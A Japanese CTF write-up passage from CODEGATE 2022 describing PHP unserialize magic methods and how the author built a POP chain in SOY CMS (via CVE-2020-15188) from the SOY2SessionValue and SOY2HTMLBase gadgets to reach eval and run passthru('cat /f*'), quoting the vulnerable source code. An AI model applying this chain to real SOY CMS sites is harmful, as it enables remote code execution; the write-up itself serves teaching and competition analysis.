まず、PHPunserialize のドキュメントに書かれているように、作成されたオブジェクトに __unserialize または __wakeup メソッド(このようなメソッドをマジックメソッドと呼びます)が存在していれば、それらが呼び出されます。

それだけならよいのですが、オブジェクトへの参照がなくなるとデストラクタとして __destruct メソッドも呼び出されます。$obj->notfound() のように存在しないメソッドが呼び出されようとすると代わりに __call メソッドが呼び出されますし、$obj . 'hoge' のように文字列に変換されるような状況では __toString メソッドが呼び出されます。

もし、unserialize によってインスタンスを作成できるクラスの中に、有害な挙動をするマジックメソッドを持つものがあれば(そういったマジックメソッドやクラスをgadget*12と呼びます)、悪用することもできます。

そういったgadgetを組み合わせて、RCEなどの攻撃に持ち込めるようにしたペイロードをPOP chainやGadget chainと呼びます。ambionics/phpggc というリポジトリにLaravelやGuzzleなど、色々なPOP chainがまとまっているので、ぜひ参照ください。

参考リンク

POP chainの組み立て

さて、私たちは問い合わせフォームを見つけ出して、CVE-2020-15188によって何でも unserialize できる状況にまで持ち込みました。ただ、styprさんが書かれた記事には完全なPoCが含まれておらず、どのようなgadgetを使えばRCEに持ち込めるかもわからないのでした。ですから、RCEのためにSOY CMSに存在するgadgetを探して、POP chainを組み立てる必要があります。

ひとつ気にしておくべき点として、そのgadgetが unserialize の呼び出しの時点でアクセス可能なクラスであるか確認しておく必要があるということがあります。styprさんの解説記事にも書かれていたように、unserialize の直前に var_dump(get_declared_classes()); を置いておいて、アクセスできるクラスの確認をしておきます。もしかするとクラスのオートローディングをしてくれるかもしれませんが。

まずは、無条件に呼び出される __unserialize, __wakeup, __destruct から見ていきます。…が、それなりに数があるので、最終的に発見したgadgetのみを紹介します。common/lib/soy2_build.php に存在する SOY2SessionValue というクラスには、__wakeup メソッドが存在しています。ここで気になるのは、以下の2点です。

  • SOY2::cast($this->className,$this->classValue) と、SOY2::castclassName, classValue の2つのプロパティを渡している
    • つまり、引数を任意のものにできる
  • $this->classObject->wakeup() と、SOY2::cast の返り値であるオブジェクトの wakeup メソッドを呼び出している
    • もし wakeup メソッドが classObject に存在していなければ、__call メソッドが呼び出されるはず
<?php
//…
class SOY2SessionValue{
//…
    function __wakeup(){
        try{
            $this->classObject = SOY2::cast($this->className,$this->classValue);
            if(SOY2Session::destroySession() != get_class($this->classObject)){
                $this->classObject->wakeup();
            }
        }catch(Exception $e){
            /**/echo 'error'; var_dump($e);
        }
    }
//…

SOY2::cast がどのようなメソッドか確認します。第二引数として与えられたオブジェクトを、第一引数でオブジェクトやクラス名として与えられた形にキャストするメソッドのようです。

ただ、第一引数がオブジェクト、第二引数が null であった場合にはどのような挙動をするでしょうか。まず、is_null($obj) が真なので $tmpObject には new stdClass が入ります。次に、is_object($className) が真なので $newObj には第一引数がそのまま入ります。そして、new stdClassforeach しても何も起こりませんから、返り値は第一引数そのままということになります。

<?php
//…
class SOY2{
//…
    /**
    * オブジェクトのキャストを行う
    *
    * @uses SOY2::cast("クラス名",$obj);
    * @uses SOY2::cast($obj2,$obj);
    *
    * キャスト先のオブジェクトはsetter必須
    * キャスト元のオブジェクトはgetterがあればそちらを、無ければプロパティを直接。
    * ただしプロパティがpublicでない場合はコピーしない(警告なし)
    */
    public static function cast($className,$obj){
        if(!is_object($className)){
            if($className != "array" && $className != "object"){
                $result = self::import($className);
                if($result == false){
                    throw new Exception("[SOY2]Could not find class:".$className);
                }
                $className = $result;
            }
        }
        $tmpObject = new stdClass;
        if($obj instanceof stdClass){
            $tmpObject = $obj;
        }else if(is_array($obj)){
            $tmpObject = (object)$obj;
        }else if(is_null($obj)){
            $tmpObject = new stdClass;
        }else{
            $refClass = new ReflectionClass($obj);
            $properties = $refClass->getProperties();
            foreach($properties as $property){
                $name = $property->getName();
                if($refClass->hasMethod("get".ucwords($name))){
                    $method = "get".ucwords($name);
                    $value = $obj->$method();
                    if(is_string($value) && !strlen($value))$value = null;
                    $tmpObject->$name = $value;
                }else{
                    if(!$property->isPublic())continue;
                    $value = $obj->$name;
                    if(is_string($value) && !strlen($value))$value = null;
                    $tmpObject->$name = $value;
                }
            }
        }
        if(is_object($className)){
            $newObj = $className;
        }else if($className == "array"){
            return (array)$tmpObject;
        }else if($className == "object"){
            return $tmpObject;
        }else{
            $newObj = new $className();
        }
        foreach($tmpObject as $prop => $property){
            if($newObj instanceof stdClass){
                $newObj->$prop = $property;
                continue;
            }
            $methodName = "set".ucwords($prop);
            if(!method_exists($newObj,$methodName))continue;
            $newObj->$methodName($property);
        }
        return $newObj;
    }
//…

そういうわけで、className プロパティにオブジェクトを入れた SOY2SessionValue を作ることができれば、そのオブジェクトの __call メソッドを呼び出すことができるとわかりました。__call メソッドを探すと、これまた common/lib/soy2_build.phpSOY2HTMLBase クラスが見つかりました。最後に eval していて有用そうに思えますが、functionExists というメソッドによるチェックを受けなければならないようです。ちなみに、このとき $name にはメソッド名である wakeup が入っています。

<?php
//…
class SOY2HTMLBase{
//…
    /**
    * パラメータに与えられた関数を実行し、結果を返す
    *
    * @param $name 関数名
    * @param $args パラメータ
    *
    * @return 実行された関数の結果
    *
    */
    function __call($name,$args){
        if(method_exists($this,"createAdd") && preg_match('/^add([A-Za-z]+)$/',$name,$tmp) && count($args)>0){
            $class = "HTML" . $tmp[1];
            if(class_exists($class)){
                $id = array_shift($args);
                $arguments  = (count($args)>0 && is_array($args[0])) ? @$args[0] : array();
                $this->createAdd($id,$class,$arguments);
                if(isset($arguments["value"])){
                    $this->createAdd($id . "_text","HTMLLabel",array(
                        "text" => $arguments["value"]
                    ));
                }
                if(($name == "addTextarea") && isset($args["text"])){
                    $this->createAdd($id . "_text","HTMLLabel",array(
                        "text" => $arguments["text"]
                    ));
                }
                return;
            }
        }

        if(!$this->functionExists($name)){
            throw new SOY2HTMLException("Method not found: ".$name);
        }
        $func = $this->_soy2_functions[$name];
        $code = $func['code'];
        $argments = $func['args'];
        $variant = "";
        for($i=0; $i<count($argments);$i++){
            $variant .= $argments[$i].' = $args['.$i.'];';
        }
        return eval($variant.$code.";");
    }
//…

functionExists メソッドの定義を確認します。なかなか単純で、_soy2_functions という配列が入っているプロパティに、引数として与えられたキーが存在しているかどうかを確認しています。それなら簡単に作れますね。

<?php
//…
class SOY2HTMLBase{
//…
    function functionExists($name){
        return array_key_exists($name,$this->_soy2_functions);
    }
}
//…

さて、これでPOP chainが出来上がりました。styprさんの解説記事にあるPoCに発見したgadgetを埋め込み、passthru("cat /f*") を実行するペイロードを作成します。これを問い合わせフォームに送りつけるとフラグが得られました。

codegate2022{so_did_you_found_an_easier_way_to_exploit?}

これらのgadgetを使うというのは想定解法そのままだったと作問者から聞きました。とても気になるんですが、ほかのgadgetを使って解けるんでしょうか。

POP chainの組み立ての部分をさらっと書いていますが、Kahlaさんと一緒に12時間以上を費やしてようやくこれらのgadgetを見つけました。SOY CMSであることに気づいたときには前に読んだ記事のやつだ! とすぐに解ける気でいましたが、まさかそんなにかかるとは。精進します。

docker-compose.yml, Dockerfile なども含めた問題に関連するファイルが、作問者のGitHubリポジトリで公開されています。General部門では参加した半分のチームが解いたのに対して、University部門では0 solvesだったようです。General部門、魔境では。

おわりに

Web問の全完後にReversing問にも挑んでいましたが、十数時間をndayに費やした後でだいぶ疲れており、しかもバイナリがRust製ということでなかなか手間な問題で、解ききれませんでした。やはり休息は大事だなあと再確認したCTFでした。

今回出題された問題は面白いものばかりでしたし(特にnday!)、韓国に住んでいるzer0ptsのメンバーであるXionさんやjskimさんと初めて会ったり、ICCでは同じアジアチームとして参加したsqrtrevさんやReinoseさんと再会できたり、ソウルの観光を楽しんだりと、楽しい時間を過ごせました。

*1:その分、表彰式では登場するお偉いさんが多かったです

*2:ネットエージェント・セキュリティごった煮ブログ時代の記事に、CODEGATE CTF 2011への参戦記もあるようです

*3:過去に、sutegoma2やTokyoWesternsといった日本チームも決勝大会に参加してきました。どうでもいいですが、筆者がCTFを始めたのは2014年でsutegoma2が活躍していた時期と微妙に被っておらず、伝説上の存在として見ている節があります

*4:ちなみに、筆者は2016年にJunior部門で決勝大会に参加したことがあります。20人と枠が多いので、この記事を読まれている若人がもしいらっしゃれば、次回の予選大会に挑戦してみてください。読まれていない方も、念を送るのでぜひ挑戦してみてください

*5:会場に横になれる長椅子などはありませんでした

*6:徹夜しない、ちゃんとご飯を食べる、合間合間で休憩を取る健康CTFを心がけましょう

*7:keymoonさんとKahlaさんとは、私は今回が初対面でした

*8:試しておいてアレですが、もし成功していたらキレていました

*9:これを情報共有に使っていたDiscordチャンネルでつぶやいたところ、Kahlaさんがソースコードの該当する部分を探し出してくれました

*10:ちなみに、このバグはこのライブラリのフォーク元のリポジトリjwt.ioで署名したJWTを正しく検証できないバグとして報告されていたようでした。結局原因は追求されず、直らなかったようです

*11:styprさんは、発見された脆弱性の情報をSVDBとしてまとめられています。発見数に驚きますし、クリティカルな脆弱性も多いので面白いです

*12:gadgetという用語は、Return-Oriented Programming(ROP)やPrototype Pollutionなど、様々な文脈で使われます。gadgetという用語に関連して、「セキュリティにおける"gadget"とは何なのか?」という記事が面白いです